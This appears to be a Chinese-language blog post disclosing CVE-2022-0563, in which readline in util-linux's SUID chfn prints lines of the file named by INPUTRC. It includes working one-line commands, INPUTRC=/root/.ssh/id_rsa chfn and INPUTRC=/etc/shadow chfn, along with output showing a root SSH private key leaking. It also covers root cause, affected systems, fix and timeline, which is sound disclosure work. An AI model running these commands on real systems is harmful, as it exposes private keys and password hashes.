利用SUID逻辑漏洞:Readline信息泄露攻击详解

本文详细分析了readline库中一个有趣的逻辑漏洞,该漏洞会部分泄露INPUTRC环境变量指定文件的内容。攻击者可利用此漏洞在特定条件下读取SSH私钥等敏感信息,文章深入剖析了漏洞成因、利用方式及影响范围。

Readline漏洞:利用SUID逻辑错误

我在readline依赖库中发现了一个逻辑错误,当解析INPUTRC环境变量指定的文件时,会部分泄露文件信息。在以下条件下,攻击者可以利用该漏洞在运行sshd的主机上进行横向移动:

  1. 某个用户可以登录
  2. 该用户的私钥存储在已知位置(/home/user/.ssh/id_rsa)

该漏洞已于2022年2月报告并修复,而且chfn通常不由util-linux提供,因此你的系统可能不受影响。我撰写本文是因为这个利用过程很有趣——由于readline配置文件解析函数与SSH密钥格式的巧妙巧合,使得攻击成为可能。

漏洞复现

1
2
3
4
5
6
7
8
9
$ INPUTRC=/root/.ssh/id_rsa chfn
Changing finger information for user.
Password:
readline: /root/.ssh/id_rsa: line 1: -----BEGIN: unknown key modifier
readline: /root/.ssh/id_rsa: line 2: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: no key sequence terminator
[...]
readline: /root/.ssh/id_rsa: line 37: avxwhoky6ozXEAAAAJcm9vdEBNQVRFAQI=: no key sequence terminator
readline: /root/.ssh/id_rsa: line 38: -----END: unknown key modifier
Office [b]: ^C

发现漏洞

受到Qualys sudo漏洞的启发,我开始研究环境变量作为攻击面。通过注入日志库记录getenv调用,我发现了INPUTRC变量在chfn命令中的使用。当尝试传递INPUTRC=/etc/shadow时:

1
2
3
4
5
6
7
$ INPUTRC=/etc/shadow chfn
Changing finger information for user.
Password:
readline: /etc/shadow: line 9: systemd-journal-remote: unknown key modifier
[...]
readline: /etc/shadow: line 14: systemd-coredump: unknown key modifier
Office [b]: ^C

根本原因分析

通过分析readline-8.1源码,发现INPUTRC通过sh_get_env_value传递给getenv。错误源自rl_parse_and_bind函数,当readline尝试将文件内容解析为键绑定配置时会打印当前行内容——这就是漏洞根源,因为readline未意识到自己正以特权运行。

有三种情况会导致文件内容泄露:

  1. 以引号开头但未闭合的行
  2. 以冒号开头且不含空格的行
  3. 不含空格、制表符或冒号的行

SSH密钥恰好符合第三种情况。

影响范围

该漏洞自2017年2.30-rc1版本引入,但主要影响Arch Linux系统,因为其他主流发行版的chfn来自不同软件包或默认未安装。通过检查发现,Arch是唯一默认包含使用readline的SUID可执行文件(chfn)的发行版。

修复建议

util-linux维护者已从chfn移除readline支持。建议开发者避免在SUID应用中使用readline库。

时间线

  • 2017年5月2日:漏洞引入
  • 2022年2月8日:向Arch和util-linux上游报告
  • 2022年2月14日:util-linux上游修复
  • 2023年2月16日:公开披露

参考

  • CVE-2022-0563
  • util-linux v2.37.4发布公告
  • Red Hat Bugzilla #2053151
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计